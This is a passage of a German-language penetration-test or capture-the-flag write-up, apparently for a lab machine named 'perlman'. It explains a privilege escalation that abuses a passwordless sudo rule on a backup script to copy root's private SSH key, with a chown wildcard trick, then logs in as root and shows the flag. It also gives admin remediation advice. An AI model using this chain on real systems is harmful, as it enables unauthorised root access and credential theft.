**Analyse:** Im Verzeichnis `/opt/backup` (auf das `ze_perlman` Schreibzugriff hat: `drwxrwx---`) befindet sich ein Skript `bk`, das `root` gehört. Das Skript enthält eine `backup`-Funktion, die sensible Dateien nach `/opt/backup` kopiert und unsichere `chmod`- und `chown`-Befehle ausführt, insbesondere `chown root:root *`. Die Funktion wird ausgeführt, wenn das erste Argument (`$1`) dem Inhalt von `/opt/vfy.txt` entspricht, wobei "un" entfernt wird. `/opt/vfy.txt` enthält `undesired-root-2022`, also muss das Argument `desired-root-2022` sein.
**Bewertung:** Das Skript `bk` ist der Schlüssel zur Root-Eskalation. Die `backup`-Funktion kopiert den privaten SSH-Schlüssel von `root` (`~/.ssh/id_rsa` wird als `root` ausgeführt) nach `/opt/backup`. Der `chown root:root *`-Befehl ist zusätzlich eine bekannte Schwachstelle (Wildcard Exploit), die hier genutzt wird, um die Rechte des `root`-Schlüssels zu manipulieren oder andere Dateien zu beeinflussen, falls nötig.
Matching Defaults entries for ze_perlman on perlman:
env_reset, mail_badpass, secure_path= [...]
User ze_perlman may run the following commands on perlman:
(root) NPASSWD: /bin/bash /opt/backup/bk *
**Analyse:** `sudo -l` bestätigt, dass `ze_perlman` das Skript `/opt/backup/bk` mit beliebigen Argumenten (`*`) als `root` ohne Passwort ausführen darf.
**Bewertung:** Die unsichere `sudo`-Regel erlaubt die Ausführung des verwundbaren Skripts.
chmod: changing permissions of '/opt/backup/bk': Operation not permitted
chown: cannot access 'root:root': No such file or directory
chown: changing ownership of 'bk': Operation not permitted
# Fehlermeldungen vom chown *, aber backup() wurde ausgeführt
bk id_rsa passwd ref '--reference=ref' shadow sudoers
**Analyse:** Die Dateien für den `chown`-Wildcard-Exploit (`--reference=ref` und `ref`) werden erstellt (obwohl sie hier nicht primär benötigt werden, da der `cp`-Befehl den Key bereits kopiert). Das Skript `bk` wird mit `sudo` und dem korrekten Argument `desired-root-2022` ausgeführt. Dies triggert die `backup()`-Funktion. Obwohl der `chown *`-Befehl Fehler wirft (er versucht, sich selbst (`bk`) und nicht existierende Dateien (`root:root`) zu ändern), wurde die `cp`-Zeile vorher ausgeführt. Ein `ls` bestätigt, dass `id_rsa` (der private Schlüssel von root) nun im Verzeichnis `/opt/backup` liegt.
**Bewertung:** Der private SSH-Schlüssel von `root` wurde erfolgreich durch Ausnutzung des `sudo`-Rechts und des Skripts extrahiert.
**Empfehlung (Pentester):** Den extrahierten `root`-Schlüssel (`id_rsa`) kopieren, Berechtigungen setzen und für den SSH-Login als `root` verwenden.
**Empfehlung (Admin):** Das Skript `/opt/backup/bk` und die zugehörige `sudo`-Regel entfernen. Niemals Skripte mit unsicheren Befehlen (`chown *`) oder Kopieroperationen sensibler Daten über `sudo` erlauben. Das Prinzip der geringsten Rechte anwenden.
[...] -rwxrwxrwx 1 ze_perlman ze_perlman 2602 Oct 7 00:35 root # Root SSH Key
root@perlman:~# # Erfolgreich als root angemeldet!
**Analyse:** Der extrahierte `root`-Schlüssel wird nach `/dev/shm/root` kopiert. Die Berechtigungen werden zuerst auf `777` (unsicher, aber zum Kopieren) und dann korrekt auf `600` gesetzt. Mit `ssh -i root root@localhost` wird der Schlüssel verwendet, um sich lokal als `root` anzumelden. Dies ist erfolgreich.
**Bewertung:** Privilege Escalation zu `root` erfolgreich abgeschlossen.
0ca2710be21eabe7ddbf0240557bd210
**Analyse:** Als `root` wird die Datei `root.txt` gelesen.
**Bewertung:** Root-Flag erfolgreich gefunden.